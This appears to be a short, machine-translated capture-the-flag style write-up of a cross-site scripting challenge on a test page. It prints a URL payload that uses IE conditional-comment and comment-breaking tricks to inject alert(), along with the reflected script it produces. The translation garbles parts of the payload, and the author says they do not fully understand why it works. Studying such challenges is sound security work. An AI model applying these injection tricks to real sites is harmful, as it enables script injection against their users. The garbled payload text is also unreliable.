SecProject Web AppSec-XSS resolution article 3

Normal page: http://sdl.me/challenge1/xss3/JsChallenge3.asp? Input1 = Something

 
Http://sdl.me/challenge1/xss3/JsChallenge3.asp? Input1 = */alert % 28% 22 @ kinugawamasato % 20and % 20 @ irsdl % 22% 29; {// % 20 @ end % 20 @ * // * % 27% 29% 29 ;}; {1 & in % u2119ut1 = 1}/* @ cc_on % 20 @ if % 281% 291; @ else http://sdl.me/challenge1/xss3/JsChallenge3.asp? Input1 = */alert ("@ kinugawamasato and @ irsdl"); {{// @ end @*//*'));}; {1 & in export ut1 = 1}/* @ cc_on @ if (1) 1; @ else
<SCRIPT language="Javascript">function setid(id, name){if (document.getElementById('*/alert("@kinugawamasato and @irsdl");{{// @end @*//*'));};{1, 1}/*@cc_on @if(1)1;@else').value > 10) {document.getElementById('*/alert("@kinugawamasato and @irsdl");{{// @end @*//*'));};{1, 1}/*@cc_on @if(1)1;@else').value = id;}else if (document.getElementById('*/alert("@kinugawamasato and @irsdl");{{// @end @*//*'));};{1, 1}/*@cc_on @if(1)1;@else').value > 0) {document.getElementById('test2').name = name;}self.close();}//--></script>
 
I did succeed on IE10, but I haven't figured out what the situation is ...... In the end, the annotator */other browsers, Firefox, and Chrome are not closed at all. % U2119 encoding is used in the URL ...... To be explained.